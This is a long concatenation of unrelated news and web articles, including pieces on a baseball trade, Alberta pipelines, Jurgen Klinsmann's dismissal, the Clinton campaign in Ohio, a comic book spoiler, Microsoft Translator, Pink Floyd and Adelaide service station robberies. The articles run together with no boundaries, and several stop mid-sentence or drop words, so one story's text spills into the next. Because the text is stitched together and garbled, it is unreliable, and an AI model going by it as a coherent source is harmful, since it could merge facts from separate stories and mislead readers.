Sadder says education and literature are her "only salvation". She also shares what it feels like to lose home.
"It's like your soul is heavy, and you are just a burden."
WEB EXTRA | For those who have never read The Odyssey, here's a six minute summary.The White Sox jumped out ahead of a crowded reliever market once again and traded Anthony Swarzak to the Milwaukee Brewers on Tuesday night.
The White Sox acquired 25-year-old outfielder Ryan Cordell from the Brewers in exchange for the veteran reliever, a baseball source confirmed. The No. 17 prospect in the Brewers farm system, Cordell was hitting.284/.349/.506 with 10 home runs and 45 RBIs in 292 plate appearances at Triple-A Colorado Springs this season.
A nonroster invitee to big league camp this spring, Swarzak was 4-3 with a 2.23 ERA, one save and 52 strikeouts in 48 1/3 innings this season. He’s the third reliever the White Sox have traded since the second half began as they also dealt David Robertson and Tommy Kahnle to the New York Yankees with Todd Frazier on July 18.
TA free agent after the season, Swarzak has fared extremely well in high-leverage situations, stranding 26 of the 35 runners he had inherited. He pitched in two high-leverage spots in the team’s previous two games, earning his first career save Monday. Swarzak, whose 9.68 strikeouts per nine is a career high, also earned a hold on Sunday in Kansas City.
“I’ve been waiting for that opportunity for a long time,” Swarzak said of Monday’s save. “It’s nice that I went in there and got it done. You think about that moment for years and then it finally happens. You just are trying to take a step back and reflect on what just happened, and I’ll be able to come in tomorrow and be ready to go.”
Two American League scouts said Monday that Swarzak still had good trade value even though he’s viewed as a rental. While he wouldn’t likely net the White Sox a top-150 prospect, they could wrangle a “good” minor-leaguer in a deal. One element that could have potentially derailed the White Sox was an abundance of strong relief options in the market, perhaps as many as 20 pitchers.
[MORE: Carlos Rodon frustrated again after a weird start]
After the White Sox traded Robertson and Kahnle, general manager Rick Hahn indicated they moved the pair early in anticipation of a competitive marketplace when they acquired Blake Rutherford and others from the New York Yankees. The Baltimore Orioles are a team that could have wreaked havoc on the relief market if they decide to sell -- something one AL source said they’ve gone back and forth on every day -- because they could flood it with Zach Britton and others.
The move is the third made by the White Sox in a span of two weeks, including the trade of Jose Quintana to the Cubs on July 13. The White Sox still have several veterans on the roster who could draw trade interest, including starting pitcher Miguel Gonzalez.
“We are still open for business,” Hahn said last week.
Today’s Knuckleball’s Jon Heyman first reported the deal that sent Swarzak to the Brewers. Fox Sports’ Ken Rosenthal initially reported the teams’ were discussing a trade for Swarzak.Deadline reports that Paramount Television is developing the film Galaxy Quest for a television revival. One of the film’s original writers Robert Gordon, who will likely pen the pilot script, is set to executive produce the series along with the original director Dean Parisot and producer Mark Johnson.
It’s unclear at this point whether the television series will be a sequel to the series or a reboot, but check back here for further details as we learn them. Talk of a sequel to the film has been discussed previously though nothing has previously materialized. A comic book sequel titled Galaxy Quest: Global Warning debuted in 2009 and an ongoing series titled Galaxy Quest: The Journey Continues is currently being published.
Released in 1999, Galaxy Quest was conceived as a parody not only of the original “Star Trek” series but of the cult following that series has amassed over the years. The film centered on the cast of an old sci-fi television series recruited by a race of aliens believing them to be the characters they played on the series. The film starred Tim Allen, Sigourney Weaver, Alan Rickman, Tony Shalhoub, Sam Rockwell, and Daryl Mitchell.Alberta Premier Rachel Notley has asked Canada's largest private-sector union to back the province's push to build more pipelines.
In a speech Wednesday at the Unifor convention in Ottawa, Notley said new pipelines to carry Alberta oil to tidewater would create jobs for many of the union's members and give a much-needed boost to the Canadian economy.
"I'm asking for your support that will make Alberta and Canada world leaders on climate change, while responsibly developing our resource industries in the economic interest of hundreds of thousands of working Canadians, including many of your members," Notley said.
She warned delegates not to be distracted by naive or simplistic political arguments, at the risk of becoming irrelevant, comments that appeared to be a veiled shot at supporters of the so-called LEAP manifesto. The controversial policy paper discussed by the federal NDP at its national convention in Edmonton this spring does not support building new pipelines.
Notley's speech was especially timely given that the National Energy Board opened public hearings earlier this month on the proposed $15-billion Energy East pipeline. If approved, the pipeline would carry diluted bitumen from the Alberta oilsands to refineries in Eastern Canada.
The NEB must submit its final report to the federal government by March 2018.
Alberta 'can't run deficits indefinitely'
The premier also used her speech to defend her government's policies during a time of rising deficits and growing anxiety as Alberta stares down its worst economic downturn since the early 1980s.
"Our province, we know, can't run deficits indefinitely," she told 1,800 delegates to the national union convention. "We know that, we're very conscious of that. But we can manage our fiscal challenges patiently, and wisely and carefully."
Notley thanked delegates for helping the NDP win a majority government in May 2015. She also listed off a long list of policies adopted by her government in a short period of time, from raising the minimum wage to extending health and safety benefits to farm workers, despite fierce resistance from the opposition parties, and some farmers and ranchers.
'... campaign run by Alberta's right-wing anger industry.'
"Despite a vicious over-the-top incitement campaign run by Alberta's right-wing 'anger industry,' that is exactly what we did," Notley said. "And now every worker in Alberta is finally protected by health and safety legislation."
Premier Rachel Notley asks delegates to national union convention to support new pipelines. (CBC)
In a fiscal update this week, Alberta Finance reported a record $10.9 billion deficit, half a billion dollars more than was forecast in the spring budget.
Much of the increase relates to the high cost of the Fort McMurray wildfires in May. The recent bad news was made worse by a pattern of continued job losses, lack of investment, and the second consecutive year of shrinkage in the economy as a result of persistent low oil prices.
But Notley told union delegates things would have been "much worse" under a different government.
"We're not just going to cross our fingers and hope that cutting taxes for rich people will magically turn the economy around. That's what Conservatives do."
The union Notley spoke to was formed three years ago by the amalgamation of the Canadian Auto Workers union and the Communications, Energy and Paperworkers Union of Canada. Both organizations have suffered drastic losses of jobs and membership over the past few years.Even though I was born in the capital of Venezuela, Caracas, one of the most dangerous cities in the world and raised in a nearby town, this experience I captured in Osma and Todasana, which are very small and poor towns near the Venezuelan coast, taught me things you can’t learn in School or University.
Those were really hard times for me. I was kidnapped some months before doing this trip, which forced me to quit my job and university for some months, and my house became the only place I could feel a little safe at that moment. This caused a trauma for me, paranoia wouldn’t leave me alone and made me fall apart, alienated from everything that used to be my everyday life, even my family. I didn’t trust anyone and I always felt pursued. I decided to use that lonely time to self-learn new things and find for myself what I wanted to do in my future life, and it was then when photography knocked at the door.
I had always loved photography because I completely believe in its power, in its silent and deep messages that get straight to your heart and consciousness without saying a word. Photography is a soul feeder. I loved to take pictures of everything, making people or moments last forever is just magical to me. Then I decided to take it a bit more seriously, I needed it. My brother, who was attending a photography institute, taught me how to set a camera manually. I wouldn’t go to work, I wouldn’t go to the university, but I had to go to this place.
Roberto Mata Taller de Fotografía.
After being months imprisoned in my own house, this place became a new beginning, became a strong reason to wake up and start doing what I liked. Its atmosphere is just incredible. I decided to take a Documentary Photography course, and it became one of the best experiences I have had so far. It was there that I met Leo Alvarez – a key individual who really influenced my view and helped me to find what I was trying hard to discover. In this course I also met Ale Cegarra, who became a really important piece of the puzzle and a role model. Even if it was a relatively short time, those two people poured enough water to make the seed grow. From this point on, my brother and I, hand to hand everywhere with our cameras, built a large strong bridge through photography to connect to each other.
At the end of this course at RMTF, we had to go to small towns and document a subject. My mind couldn’t really focus on a single subject, it was like discovering the world again, that was a crucial factor which taught me to easily develop trust between unknown individuals and myself in a completely new place. I recovered my faith in my country, I restored my faith in solidarity, I discovered that the world was more than I could ever imagine, I discovered that there are people who have nothing, apart from love.
I was able to get into their lives, into their Jobs, schools, even into their houses, simple lives, less problems – that is something I learnt from them.
I recovered feelings I hadn’t felt for a very long time.
Now that I lived in the UK, there is nothing I miss more than those places, people and experiences. I now have these memories and they will forever be alive. Photography is what I have been doing and what I will keep on doing.
This is how photography changed my life forever.The turn against the Brothers is a fateful error. Repression coupled with political exclusion has long been understood to drive radicalization, and the great hope of the Arab Spring was that the passing of the authoritarian regimes would put an end to arbitrary rule and brutality. Instead, the war against the Brotherhood will make violence the rational choice for fence-sitters.
Already, an Islamist offensive that began by targeting security forces is expanding to include civilian targets. Some experts have pointed to the Algerian ordeal of the 1990s, when the army nullified an election that would have brought Islamists to power, sparking a war that killed up to 200,000 people. But the regional consequences of protracted conflict in Egypt could be worse.
Given the weakness of internal security forces across the region, it is easy to imagine how a pipeline of money, men and matériel could threaten all of North Africa. Weapons from the enormous arsenal of the former Libyan strongman, Muammar el-Qaddafi, could flow into Egypt, stoking the violence, while fighters can cross — as some already have — into Libya to strengthen the jihadist forces there. Tunisia, the one hopeful remnant of the Arab Spring, would clearly be endangered. In the other direction, the Sinai Peninsula is poised to become even more chaotic and perilous, jeopardizing Israel’s security.
Western governments must recognize the real possibility that a new cycle of conflict could produce more terrorists who wish to target Americans and the West. Rightly or wrongly, Islamists view the status quo as supported — even engineered — by the United States. It doesn’t help when American lawmakers like Michele Bachmann visit Egypt to praise the military regime and condemn the Brotherhood, as she did recently.
America has no good options at present. There’s no upside to a confrontation with the military — only the prospect of losing more sway. An effective policy response will require close cooperation with the Egyptian security services, who caused the problem to begin with. And the need for American military access to the Suez Canal and continued Egyptian support for the peace treaty with Israel also preclude simply walking away from Egypt. The United States will be in a situation much like it was with the Mubarak regime for three decades, working closely on counterterrorism while pressing, however forlornly, for liberalization. It must find new inducements to nudge Egypt’s rulers to open up based on the country’s economic needs. But this is hard, especially in light of what Saudi Arabia and the United Arab Emirates will supply.More than the ugly losses, more than the constant tinkering, more than the clear lack of progress or identity or even the danger of missing out on the 2018 World Cup in Russia, what finally sealed Jurgen Klinsmann's dismissal may have been his mouth.
We'll know more about the reasoning on Tuesday, when U.S. Soccer president Sunil Gulati speaks to reporters about his decision, announced on Monday, to fire Klinsmann after more than five years as coach of the national team.
The move was a long time coming. As ESPN FC reported last week, Gulati and the USSF had been considering alternatives to the former Germany striker for at least a year, and Klinsmann came close to getting the axe on at least two other occasions over the past 12 months, according to multiple sources.
Results were only part of it. As frustrated as Gulati had grown over the team's poor performances in the 18 months that followed a respectable showing at the 2014 World Cup, Klinsmann's public excuse-making also grated on the USSF chief.
Over the weekend, Klinsmann, in interviews with Reuters and the New York Times, roundly dismissed the deserved criticism that followed World Cup qualifying losses to Mexico and Costa Rica earlier this month by questioning his detractors' knowledge of the sport. The Times reported on Monday that Gulati and Dan Flynn, U.S. Soccer's CEO, made their minds up to pull the plug on Klinsmann on Sunday night. But the trouble started almost as soon as he was hired.
Klinsmann took the job in July of 2011. He commenced his first camp days later, before the U.S. was to play Mexico in a friendly in Philadelphia, but he immediately rubbed senior players the wrong way by insisting that they not wear their usual numbers, which had been determined by seniority under previous manager Bob Bradley, but rather ones corresponding to their position on the field.
That experiment lasted only until the end of the year, but Klinsmann continued to confound players with his unorthodox approach. The first public backlash came with Brian Straus' explosive 2013 Sporting News story that quoted anonymous players questioning Klinsmann's leadership, methods and tactical acumen -- issues that plagued the coach until the bitter end.
Yet the underlying structural problems were largely swept under the rug, as the U.S. went on a 13-game winning streak later that year, ultimately finishing atop the final round of World Cup qualifying for the third consecutive cycle.
Gulati signed Klinsmann to a four-year contract extension before 2013 was over, but it didn't take long for the relationship to fray from there. It's safe to say Gulati did not agree with Klinsmann's decision to cut all-time scoring leader Landon Donovan from the 2014 World Cup team -- a move that also annoyed fans, sponsors and many of Donovan's former teammates.
The U.S. advanced to the Round of 16 in Brazil against the odds without Donovan, but quickly regressed in 2015. Any good feelings after friendly wins against Germany and Netherlands were quickly extinguished by a dismal fourth-place showing at the Gold Cup, which was followed a few months later by a loss to Mexico with a spot in the Confederations Cup on the line. Earlier the same day, the U.S. under-23s had failed to qualify for the Olympics.
Klinsmann explained away the losses in public. In private, his excuses were even more bold; he told Gulati that he was convinced that the Gold Cup was fixed so Mexico would win, setting up the big-money playoff match against the U.S., a viewpoint that exasperated his boss.
It was around then that rumors began circulating that the USSF was prepared to jettison Klinsmann if the U.S. lost its last match of 2015, a year-ending qualifier on the road against Trinidad and Tobago. With Gulati in attendance in Port of Spain, the Americans managed a scoreless tie, and Klinsmann kept his job.
A defeat in Guatemala City in another qualifier in March of this year brought the heat back on, though, as did Klinsmann's comments after the Yanks dropped the opening game of the Copa America Centenario to Colombia.
With the second match of the tournament set for Chicago, Gulati met with reporters at U.S. Soccer's Windy City headquarters on the morning of the game and gave a strong rebuke of the team's long-term performance. But Klinsmann saved his job again by reeling off wins against Costa Rica, Paraguay and Ecuador, setting up a high-profile semifinal against Lionel Messi and Argentina. Despite a humiliating 4-0 loss, there were few major complaints when Gulati, as he typically does after a major tournament, began soliciting the opinions of senior players.
"The atmosphere and commentary from players was different than if we hadn't done as well," Gulati told reporters on Nov. 11, hours before the loss to Mexico. "It was far more positive, as you would expect."
Clearly, though, Gulati still had his doubts about Klinsmann's leadership. And, with the Americans facing now-crucial games against Honduras and Panama in March, the risk of potentially missing out on the World Cup -- which would be an unmitigated sporting, commercial and public relations disaster for U.S. Soccer -- was simply too great to ignore.
That it went so wrong has to be painful for Gulati. He chased Klinsmann for five years -- offering him the job in 2006 and again in 2010 -- before finally landing his man. At the time, it felt like a coup; the charismatic former World Cup-winning player was a longtime California resident who had reinvigorated the Germany national team. But Gulati also ignored the fact that Klinsmann's reputation in coaching circles had plummeted following a failed stint at Bayern Munich.
So with Klinsmann gone, where does the federation go from here? LA Galaxy coach Bruce Arena is expected to be named as Klinsmann's replacement as early as Tuesday, according to multiple sources, although the contract was not signed as of late Monday night.
The choice may have been different had Klinsmann been let go over the summer (there were whispers of interest in Bradley and David Moyes, both of whom have since taken jobs in the Premier League, along with Sporting Kansas City coach Peter Vermes), but it's a safe choice given the circumstances. Arena is the anti-Klinsmann in many ways, a curmudgeon with the media but renowned for his man-management skills and the loyalty he inspires in players. He has qualified the U.S. for World Cups twice before, leading the team to the quarterfinals in 2002 before being replaced by Bradley after Germany 2006.
The split was acrimonious, but he and Gulati seem to have patched things up over the past decade. And while Arena has never been known to hold his tongue, he will arrive with a clear plan and the ability to articulate it. After five years, that's no small victory for a program desperately in need of another voice.
Doug McIntyre is a staff writer for ESPN The Magazine and ESPN FC. Follow him on Twitter @DougMacESPN.By David Codrea
USA -(Ammoland.com)- Oath-breaking California politician Kevin De Léon proving he doesn't know what he's talking about, and using that to scare the ignorant and the fearful into more infringements on their rights.
“California State Senate President Pro Tem Kevin De Léon (D-Los Angeles) that ‘half his family' was in the country illegally, using false documents, and eligible for deportation under President Trump's new executive order against ‘sanctuary' jurisdictions,” former California State Assemblyman Tim Donnelly reported on Breitbart. “De Léon, who introduced the bill, made his remarks at a hearing in Sacramento on SB54, the bill to make California a ‘Sanctuary State.'”
In addition to defending the practice of obtaining fraudulent documents and dismissing citizen concerns over identity theft, De Léon “expressed outrage” that it should be a deportable offense for foreign nationals – already here illegally – to then falsely obtain a Social Security card.
That's even though any person who “willfully, knowingly, and with intent to deceive, uses a social security account number, assigned by the Commissioner of Social Security … to establish and maintain records) on the basis of false information furnished to the Commissioner of Social Security by him or by any other person … shall be guilty of a felony and upon conviction thereof shall be fined under title 18, United States Code, or imprisoned for not more than five years, or both.”
As is typical, the law is what De Léon and his fellow California “progressives” say it is. Laws they oppose are to be disregarded. In other words, he stands for lawlessness and tyranny.
The thing is, they don't extend that same entitlement to the non-elite citizenry. They're too busy stripping them of their rights.
Case in point, De Léon's oath of office was a mere ceremonial formality. Because where the Second Amendment is concerned, he never saw an infringement he didn't like, author, co-sponsor or vote for. He's so against guns, he's even against guns that don't exist (except in his ignorant and/or opportun |
the case of Fancy Input, it really does make filling out text fields significantly more entertaining, but beyond this isolated situation, should we use animated text to energize typing?
Shadows, gradients, and yes, animation (including text animation) are re-emerging on the Web following Flash’s decline, and this is a preview of how open technologies can be used in similar, but hopefully more tasteful ways.
Designs like this promotional page for Cloudier (an app which we covered here) have kept the use of animation classy, and Fancy Input should be praised as well for being both smooth and responsive.
I am concerned, however, that as animation becomes more common and as tools like Adobe Edge Animate develop, overuse and misuse will turn CSS3 animations into a gimmick, when what we really want to do, in most cases, is create an opportunity to delight.
What do you think?
➤ Fancy Input
For more on CSS3, these CSS 3D clouds are quite incredible.
Read next: Google Maps SDK for iOS 1.1 gains support for ground overlays, keys now open to all developersCOLUMBUS, Ohio — Hillary Clinton’s supporters here are nervous about her campaign, fearing the renewed scandal over her emails will dent her — and she is hoping to counter with a full slate of surrogates urging voters to back the Democratic team, even if they are not excited about its star player.
“I think it is making people doubt her again,” said Connie Boehner, who attended a Clinton rally this week. “Every time I think we get past all this nonsense, much of which has not come close to being proven, this stirs people up.”
A Washington Post/ABC tracking poll released Tuesday showed Mrs. Clinton and Republican presidential nominee Donald Trump running neck and neck in the race for the White House, and that enthusiasm for the Democrat has dissipated after last week’s announcement by the FBI that it found a tranche of messages tied to Huma Abedin, Mrs. Clinton’s closest personal aide.
Mrs. Clinton and her team say there is nothing new in the investigation, but saturation coverage of Mr. Comey’s decision has shaken the race and left her supporters worried.
“I know a lot of people there that were on the fence are sort of swinging back to Trump because of the email stuff,” Ms. Boehner said.
President Obama looked to tamp down those concerns Tuesday at a rally on the campus of Capital University, where he told voters Mr. Trump is a con artist who can’t be elected.
“Come on, this guy?” Mr. Obama said. “Don’t be bamboozled.”
The president, who battled Mrs. Clinton in the 2008 Democratic primary race before choosing her as his secretary of state, insisted she is ready to lead and promised she will continue his agenda.
But he was aware of the danger that her supporters could stay home.
“Make no mistake, this is not something you can take for granted. All the progress we made goes out the window if we don’t do our jobs in these next seven days. Our future depends on what you do these next seven days,” he said.
Mrs. Clinton could use some of the magic from Mr. Obama’s Ohio campaigns, where he rode a wave of optimism and his “change” slogan to a 4-percentage point victory over Sen. John McCain in 2008, and a 3-point victory over Mitt Romney in 2012.
The Real Clear Politics average of polls shows the former first lady trailing Mr. Trump in Ohio by an average of 2.5 percentage points, and voters are open about how their enthusiasm is lagging from where it was four years ago.
“I was more confident in Barack Obama,” said Daniel Shephard, 60, of Columbus, adding that he thinks Mrs. Clinton is the lesser of two evils in this election.
The Clinton reinforcements will continue Wednesday when Anne Holton, the wife of Mrs. Clinton’s running mate, Tim Kaine, parachutes into Ohio for a series of campaign events and Thursday when Sen. Bernard Sanders is scheduled to make a couple of stops on her behalf.
Mrs. Clinton also plans to return to the state Friday for a rally in Cleveland with rapper Jay Z.
Joey Gutter of Columbus said the problem for Mrs. Clinton is that the email investigation plays into the politics of fear on which Mr. Trump has based his campaign.
“He is just trying to poke and pry at fear and the unknown, and I definitely think it hurts here,” the 27-year-old Clinton supporter said. “I think that people who don’t think of it like I do, think it is an unknown and they don’t trust her because of it.”
Others said they suspect the impact of the revived email controversy will be a wash.
“I think it will bring out the vote on both sides — hopefully it will just bring out more for her,” said Betsey Krause, 57. “She absolutely is going to win this thing if people use their brains.”
Ohio has been a good barometer in presidential races, having voted for every winner in since 1964. The last time it lined up behind the loser was when it supported Republican Richard Nixon over Democrat John F. Kennedy in 1960.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.I’m told that a Bleeding Cool post the other week helped spur some last minute interest in Detective Comics #1. So let’s see if this will do the same with Catwoman #1. Or not.
You know the drill now. If you are thinking of reading Catwoman #1, stop now. Come back later. If you’ve decided against it, then keep reading.
***SPOILERS***SPOILERS***SPOILERS***SPOILERS***
Chris Butcher of The Beguiling wonders whether the ending of Catwoman #1 will make the book more popular or less popular. I have no idea. So here’s an experiment.
This is the from the fourth to last page.
That is basically Batman’s chat up line to Catwoman, This is the second to last page.
Yup, Batman and Catwoman get it on, and what’s more, it seems as if Batman may have a premature ejaculation issue. I don’t know he was wetting himself before, I wonder if the two conditions are linked.
And here is the final, post coital but still… enjoined scene. Not quite sure how that foot got there. I think I might need someone to draw me a diagram.
Well it is a T+ title after all, they do have to earm that extra Plus. But here’s the question, does such a scene, which is frankly not the most sensual of the issue, make you more likely to buy the comic… or less?
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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None foundWhen Microsoft launched the offline functionality for Android, it was really bringing the experience in line with Google's offering on the platform. But while the search giant's Translate app for Android does offline translation of text (and even photos containing text), its iOS app is online-only. That makes Microsoft's Translate app the first from a major company to offer the functionality, and the first ever on the platform to use a neural network to achieve it.
The iOS app supports 43 languages, although you'll have to download the relevant libraries before going offline. That's a lot more than the nine the Android version launched with, but Microsoft says it's updating that app to support the expanded catalog. Supported languages include Arabic, Chinese, French, Italian, Japanese, Korean, Russian and Spanish.
I fed the app a couple of very pretty lines from Jules Verne's French novel Journey to the Center of the Earth, and it did a pretty decent job. The official translation is as follows:
The undulation of these infinite numbers of mountains, whose snowy summits make them look as if covered by foam, recalled to my remembrance the surface of a storm-beaten ocean. If I looked towards the west, the ocean lay before me in all its majestic grandeur, a continuation as it were, of these fleecy hilltops.
And here's Microsoft's neural-network powered, offline translation:
The ripples of these endless mountains, their layers of snow seemed to make foaming, reminded my recollection the surface of a choppy sea. If I went back to the West, the Ocean is developing in its majestic scope, as a continuation of these fleecy summits.
It's lost its structure, and is no longer grammatically sound, but all of the meaning is still there. If all you're going to do is translate a menu or a sign post, this is pretty impressive stuff. The app is a free download from the iOS App Store and Google Play. It's a relatively small download at 60MB, but each language packs will add around 250MB to that figure.Apple is said to be "currently finalizing" designs for its long-rumored Amazon Echo competitor, featuring support for Siri and AirPlay and boasting Beats technology, a well-known leak source claimed on Thursday.
Amazon's main lineup of Alexa-enabled devices.
The product is "expected to be marketed as a Siri/AirPlay device," Sonny Dickson said on Twitter. He also noted that it should use some form of Beats technology, and run a variant of iOS.Dickson didn't go into further details, but has been accurate about some predictions in the past, such as iOS 10's revamped lockscreen interface.A February report citing talks with unnamed Apple executives claimed that Apple had "no apparent interest" in developing an Echo competitor, despite earlier rumors to the contrary.The Echo speaker —based on Amazon's Alexa voice assistant —has proven a surprise hit, such that Alexa is quickly migrating to other devices like phones and set-tops. Ecobee's next HomeKit-enabled thermostat, the Ecobee4, is expected to have Alexa built in.An Apple version of the Echo concept would ensure that Siri isn't relegated into the sidelines among voice assistants, another rival being Google Assistant, found on devices like the Google Home.AirPlay support would presumably let people push music, radio, and podcasts to the Apple hardware over Wi-Fi, which typically offers better quality than Bluetooth.It's not clear when the product would ship. Apple is, however, set to show off new technologies at its Worldwide Developers Conference June 5 through 9, and the company may yet have enough time to premiere a Siri speaker there with over a month to go for preparations.Do you sweat when you sizzle? Or work out when you twerk out? Find out how many calories you burn when you get down and dirty, with this tried and tested sex calculator.
Sex Calculator
The latest weight loss tool
Wondering how many calories you burnt when you got down and dirty between the sheets?
Whether your latest sex session worked off those calories from that chunk of cake?
If getting jiggy with it is better than going to the gym?
The age old question of how many calories you burn off during sex can now be easily answered thanks to UKMedix.com, with the Sex Calculator! The calculator is super easy to you and you can quickly find out how many calories you worked off during your last sex session.
Simply select your gender; male or female, your body type (no lying), your chosen position and the style of sex, so whether it was slow and tender or fast and furious and finally how long it lasted (no lying).
The clever calculator will then work out from the data how many calories you burnt during your bedroom antics and you can work out whether it's more productive than visiting the gym (you already know it's more fun).When was the last time you saw Pink Floyd coming together for a massive gig? Hard to recall, but the Pulse concert at the Earls Court, London, on 20 October 1994, remained a mega event. Of course, Roger Waters wasn't there but still. David Gilmour, Nick Mason and Richard Wright were there and they did absolute create magic.
Is a repeat of what happened over two decades back, possible now? No, not at all. Unless we get the power to resurrect Wright, the famed keyboardist of the band. Also, until we also have the power to convince Waters to come for a one-off concert and emulate the magic the awesome foursome did during the Wall Tour in the early 1980s.
Nick Mason, the drummer of the band, remains the most active member of the band at the moment, as compared to Gilmour or Waters. While Waters does a plethora of concerts around the world still, he doesn't really mention anything about Pink Floyd. Gilmour, too, is keen on more personal space at the moment.
We did report that Pink Floyd could reunite for a one-off concert, probably in support of Palestine, but is that really on the cards? Mason, speaking to Rolling Stone magazine exclusively, didn't rule that out actually.
I always liked playing [with the band]. Maybe next year I would look to do a bit more. I absolutely love us [Pink Floyd] playing things properly. It's not that I have a desperate need to get out in front of any old audience playing any old thing. But I also think it's almost impossible because if we're going to do anything, one would want to do it properly," spoke Mason. It's great maybe to do one thing for Live 8, but running a full-on Pink Floyd production, everyone would need to have a real enthusiasm for it. I cannot imagine dragging Roger and David around doing it unless they underwent some extraordinary change," the 72-year-old added.
Mason also commented at the friendship among them has shamefully gone the wrong way, over the years.
It's just sometimes it's a shame. There's a friendship element to the whole thing, and it's great when Roger and I had a rapprochement after not speaking for about seven years. It means a lot to me actually, that particular friendship," continued Mason. I met Roger long before the band, so I've known him for well over 50 years and it's a shame in a way. It's not even that I need to get together and go back on the road. It's just unnecessary sometimes to think that they can still irritate each other. I think David is very happy doing the very restricted touring he's done. The funny thing is he always starts on one level and then ends up adding more lights or more film or whatever. He worked really hard the years we did without Roger, the really big tours. And he carried that on his shoulders. It was a hell of a lot easier for me than him. He was in front of it all. But I really respect what he did. I think he really just doesn't want to go back there. I respect that," Mason spoke.Grand Rapids Proposal 2 for Decriminalization of Marijuana watch party at Meanwhile Bar 5 Gallery: Grand Rapids Proposal 2 for Decriminalization of Marijuana watch party at Meanwhile Bar
GRAND RAPIDS, MI – Marijuana decriminalization in the city is on hold pending a lawsuit filed in Kent County Circuit Court. County Prosecutor Bill Forsyth has sued Grand Rapids over the legality of a city charter amendment, according to a statement City Hall released at about 4:30 p.m. Monday, Dec. 3. The court entered a temporary restraining order preventing the city from decriminalizing marijuana possession and use, which was
. “The city of Grand Rapids will comply with the Circuit Court’s ruling and will not implement the city charter amendment until further order of the court,” the city statement reads.
RELATED:
Grand Rapids voters on Nov. 6 approved Proposal 2 – a city charter amendment that changes marijuana possession and use from a misdemeanor crime to a civil infraction, like a speeding ticket – with
. Forsyth and Grand Rapids Police Chief Kevin Belk
, which also prohibits city police from reporting violations of state and federal law to the county prosecutor. Forsyth had left the office and was not immediately available for comment this afternoon, his staff said. “We have to follow the court’s order. We’ll have to delay,” City Attorney Catherine Mish said. “We’ll have our opportunity at the hearing date to make our arguments as to why we should be allowed to go ahead and implement the charter amendment. “The City Commission very much wishes to implement the will of the voters.” A preliminary injunction hearing in the case has been scheduled for Jan. 9 before Circuit Judge Paul J. Sullivan, according to the city.
Email Matt Vande Bunte, follow him on Twitter or be his friend on Facebook.The U.N. Human Rights Council approved the measure on Friday with a 27-13 vote, with seven countries abstaining. The United States, led by Ambassador Nikki Haley, voted for an amendment to the resolution that said the death penalty was not necessarily a human rights violation, and voted against amendments urging countries to stop using experimental drugs in executions.
President Donald Trump’s administration is facing strong backlash from civil rights groups after voting against a U.N. resolution that condemns using the death penalty to punish “consensual same-sex relations.”
Shame on US! I was proud to lead U.S. efforts at UN to protect LGBTQ people, back in the day when America stood for human rights for all?? https://t.co/3Y403bP7Wh
The Trump administration’s vote is nothing new — presidents from both parties have long objected to U.N. resolutions critical of capital punishment. In December 2016, for example — in the final weeks of Obama’s presidency — the U.S. voted against a resolution urging states not to execute minors, pregnant women, and those with intellectual disabilities.
While last week’s vote is not evidence of any significant policy change, it does show what kind of company the U.S. keeps among nations that support the death penalty. Twelve other countries joined the United States in voting against the resolution, including Egypt, which executes political dissidents, Ethiopia, which is considering the death penalty for same-sex activity, and Saudi Arabia, which, in 2015, beheaded more people than the Islamic State.
A 2014 report by Amnesty International found that even though the death penalty in on the books in one-third of the world’s countries, only nine countries have regularly used it in past years — including Iran, Sudan, China, and North Korea. In other words, when the United States defends the death penalty, it defends the practice of some of the world’s worst human rights violators.
The U.S. Mission to the U.N. did not return a request for comment from The Intercept.1. Valve is adding support for Steam Community hubs for non-Steam games
Steam maintains a database of game content. New games are frequently leaked through this database, as games need to be added before they can be released. Recently we saw Brutal Legend appear.Here's a tool to look at the Steam database:Today, some truly messed up stuff is showing up*:Duke Nukem 3D: Atomic Edition (Duke Nukem 3D+) job posting that they were looking for staffers to evaluate more releases on Steam. We also know that GFWL is basically folded at this point, and that MS has actively worked to make non-GFWL versions of its games available through Steam (see recently the Amazon XBLA PC port pack, all of which activated on Steam).* Many of the entries predate today, it's just that this particular tool has begun linking the Community Hub data to the database/registry data, and so the information is newly discovered.Access Ministries under scrutiny after 'inappropriate and offensive' material given out at Victorian primary school
Updated
Victoria's Education Department has launched an investigation into what it calls "inappropriate and offensive" religious material distributed at a primary school.
The ABC understands religious educators handed out material at Torquay College last year that instructed children to seek counselling if they had homosexual feelings.
The material also claims that girls who wear revealing clothes are inviting sexual assault and that masturbation and sex before marriage are sinful.
The so-called Biblezines were given as graduation gifts as part of a program run by the state's Christian education provider Access Ministries.
Naja Voorhoeve, whose seven-year-old child received the material from an older student, says special religious instruction (SRI) providers should be banned from public schools.
"If the SRI providers were prepared to breach our trust in this matter, you have absolutely no idea about the other things that they're doing, about instances in other schools where this material might have been handed out," she said.
"My personal position is that SRI volunteers should not be allowed in schools because their programs cannot be adequately monitored.
"What they do is not part of the curriculum... so they're basically let in on their own."
The department says it has launched an investigation into the material and the actions taken by the provider.
"The materials are totally inappropriate and offensive and have no place in our schools," it said in a statement.
"The department has scope to review the accreditation status of providers once our investigations are complete."
Scott Hedges from the Fairness In Religion In Schools lobby group says changes are needed.
"The practice of accredited religious organisations to go into our schools invites this kind of behaviour to happen. It's a consequence of what's going on," he said.
"In fact, the department has said 'if anybody wants to come into the schools and reach the kids, we'll let you do it'. Well, we don't think they should be doing that."
Access Ministries has been contacted for comment.
Topics: primary-schools, education, subjects, states-and-territories, government-and-politics, christianity, religion-and-beliefs, community-and-society, torquay-3228, vic, australia
First postedA WOMAN dressed in an outfit resembling the movie character Zorro and brandishing a large knife held up a service station in Pooraka this morning.
The woman entered the United service station on Main North Road about 5.20am and threatened the attendant the knife.
CCTV footage shows the offender's face concealed by a black sash, with holes cut out for her eyes.
She was dressed in black leggings, black flat slip on shoes, a dark grey fitted style cardigan and a pale pink handbag worn as a satchel.
The woman fled on foot towards Diagonal Road with an undisclosed amount of cash.
No vehicles were sighted in relation to this offence.
It was one of two service station hold-ups this morning.
At 5.55am, a man wearing a black hooded top with white writing pulled a knife from his sleeve and threatened staff at an Alberton service station.
He fled east on Wellington St with a small amount of cash.
Anyone with information about either incident should contact Crime Stoppers on 1800 333 000 or www.sa.crimestoppers.com.au
